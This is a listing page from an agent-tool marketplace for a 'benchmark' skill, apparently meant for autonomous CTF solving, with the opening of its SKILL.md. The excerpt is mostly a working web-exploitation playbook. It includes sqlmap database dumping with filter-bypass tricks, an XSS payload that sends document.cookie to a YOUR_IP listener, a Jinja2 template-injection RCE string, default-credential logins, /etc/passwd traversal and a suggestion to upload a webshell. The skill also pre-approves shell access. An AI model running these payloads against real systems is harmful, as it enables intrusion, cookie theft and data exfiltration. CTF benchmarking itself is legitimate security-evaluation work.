Skip to content
Agentmart
Submit a tool

benchmark

CTF benchmark reference — vulnerability tag mapping, exploitation techniques, and flag capture patterns for automated benchmark challenges.

Skill by dazeb

IndexedApache-2.0★ 2
Write a review

Chalk Labs

Need help deploying benchmark?

Chalk Labs sets up agents like this inside real teams: connected to your tools, tested on your data, with a human in the loop where it matters.

Book a call

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/dazeb-benchmark

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

CTF benchmark reference — vulnerability tag mapping, exploitation techniques, and flag capture patterns for automated benchmark challenges.

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/benchmark

Tools it pre-approves 3

From allowed-tools in SKILL.md: the agent may use these without asking you each time.

  • Bash
  • Read
  • Write

What's inside

Skill name
benchmark
Description
CTF benchmark reference — vulnerability tag mapping, exploitation techniques, and flag capture patterns for automated benchmark challenges.
License
Apache-2.0
Allowed tools
Bash, Read, Write
Metadata
tags: benchmark, ctf · subdomain: benchmark · when_to_use: benchmark, ctf, challenge, flag capture, benchmark mode, automated evaluation
Instructions
137 lines in SKILL.md · view on GitHub

Before installing

  • Pre-approves any shell command
  • Instructions call the network

Files (1)

  • SKILL.md

SKILL.md (first lines)

# Benchmark — CTF Exploitation Reference

This skill provides vulnerability-to-technique mapping for CTF benchmark challenges.
Sub-agents (recon, exploit) should load this skill for challenge context.

## Vulnerability Tag → Technique Mapping

| Tag | Sub-Skill | Quick Test |
|-----|-----------|------------|
| `sqli` | `/skills/exploit/web/sqli.md` | Add `'` to params, check for SQL errors |
| `xss` | `/skills/exploit/web/xss.md` | Check for input reflection, find `/report` endpoint |
| `ssti` | `/skills/exploit/web/ssti.md` | Send `{{7*7}}` in inputs, look for `49` |
| `lfi` | `/skills/exploit/web/lfi.md` | Try `../../../etc/passwd` in file params |
| `idor` | `/skills/exploit/web/idor.md` | Find IDs in URLs, access other users' data |
| `ssrf` | `/skills/exploit/web/ssrf.md` | Test URL params with `http://127.0.0.1` |
| `xxe` | `/skills/exploit/web/xxe.md` | Send XML with external entity definition |
| `path_traversal` | `/skills/exploit/web/lfi.md` | Same as LFI — `../` in file/path parameters |
| `command_injection` | `/skills/exploit/web/command-injection.md` | Try `;id` or `$(id)` in inputs |
| `default_credentials` | — | Try `admin:admin`, `admin:password`, `user:user`, `test:test` |
| `jwt` | — | Decode JWT, test `alg:none`, try weak secrets like `secret` |
| `information_disclosure` | — | Check source, `/robots.txt`, `/.git/HEAD`, hidden paths |
| `file_upload` | `/skills/exploit/web/file-upload.md` | Upload webshell with bypass |
| `deserialization` | `/skills/exploit/web/deserialization.md` | Check for serialized data |
| `cve` | — | Identify the service/version, search for known CVE exploits |

**Multiple tags?** Tags are hints — try the most specific technique first (sqli > xss > ssti > lfi), then use supporting tags (idor, jwt, default_credentials) for context.

## Recon Phase Guidance

When probing a benchmark target:

```bash
# Get the main page and examine it
curl -sv "$TARGET/" 2>&1

# Quick endpoint discovery
curl -s "$TARGET/robots.txt"
curl -s "$TARGET/login" -D- -o /dev/null
curl -s "$TARGET/api" -D- -o /dev/null
curl -s "$TARGET/admin" -D- -o /dev/null
```

## Flag Capture Patterns

After exploitation, check ALL common flag locations:

```bash
# File system paths
curl -s "$TARGET/flag.txt"; curl -s "$TARGET/FLAG.txt"
curl -s "$TARGET/static/flag.txt"

# Via command execution (after RCE)
cat /flag.txt 2>/dev/null; cat /FLAG.txt 2>/dev/null; cat /app/flag.txt 2>/dev/null
find / -name "flag*" -type f 2>/dev/null | head -5
printenv | grep -i flag

# Database (after SQLi)
# SELECT * FROM flags; SELECT flag FROM secret; etc.
```

## Quick Playbooks

### sqli
```bash
# Detect
curl -s "$TARGET/endpoint?param=1'"
curl -s "$TARGET/endpoint?param=1' OR '1'='1"

# If manual confirms SQLi, use sqlmap
sqlmap -u "$TARGET/endpoint?param=value" --batch --dump --level=3 --risk=2

# Bypass: UNION -> UnIoN, SELECT -> SeLeCt, OR -> ||
# URL-encode: %27 for ', %20 for space
# Comments: UN/**/ION SE/**/LECT
```

### xss
```bash
# Find reflection point
curl -s "$TARGET/" | grep -i "input\|form\|search\|comment"
curl -s "$TARGET/search?q=XSSTEST123" | grep XSSTEST123

# Find bot/report endpoint
curl -s "$TARGET/report" -v 2>&1
curl -s "$TARGET/contact" -v 2>&1

# Start listener, inject payload, trigger bot
python3 -m http.server 8888 &
# Inject: <script>fetch("http://YOUR_IP:8888/?c="+document.cookie)</script>
```

### ssti (Django/Jinja2)
```bash
# Detect template engine
curl -s "$TARGET/" -d "input={{7*7}}" | grep 49
curl -s "$TARGET/" -d "input={{config}}"

# Django SSTI
curl -s "$TARGET/" -d "input={{flag}}"
curl -s "$TARGET/" -d "input={{settings.SECRET_KEY}}"

# Jinja2 RCE
curl -s "$TARGET/" -d "input={{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}"
```

### idor + jwt + default_credentials
```bash
# Login with default credentials
curl -sv "$TARGET/login" -d "username=admin&password=admin" -c cookies.txt 2>&1
curl -sv "$TARGET/api/login" -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}' 2>&1

# Check for JWT in response, decode: echo "$JWT" | cut -d. -f2 | base64 -d
# IDOR: change user/object IDs — GET /api/users/1 → /api/users/2
```

### lfi + information_disclosure
```bash
# Path traversal

From dazeb/botron, Apache-2.0.

More from dazeb/botron

Signals

Stars
2
Forks
0
Open issues
0
Last commit (this folder)
Apr 26, 2026 (6 months ago)

From GitHub (fetched Oct 24, 2026).

Details

License
Apache-2.0
First seen
Oct 24, 2026
Last checked
Oct 24, 2026

More from dazeb

Done for you

Rather not set it up yourself?

Chalk Labs scopes, builds and runs agents for your team: the task audit, the eval harness, the integrations and the weekly ops report. Fixed scope, priced before we start.

See how we build AI agents →Read the case studies

Chalk Labs is a two-founder AI and growth studio. We build AI agents, CRMs and MVPs for Web3 and AI companies, and have shipped 50+ product and token launches.

launches shipped
50+
launches shipped
media placements
500+
media placements
founders on every account
2
founders on every account

Press we've placed: Forbes · CoinDesk · Decrypt · Cointelegraph · The Block

Rahil Jain, Co-founder, Chalk Labs. Ex-Goldman Sachs engineer. You talk to the person who builds it.

Get benchmark running in your business

Tell us what you want to automate. A founder replies within one working day with a plan, not a pitch deck.

Goes to the Chalk Labs founders, not the newsletter. Privacy

Need help deploying benchmark?

CallGet help
Cite this page

benchmark skill. Agent Mart. https://agentmart.dev/skills/dazeb-benchmark (last updated 2026-10-24)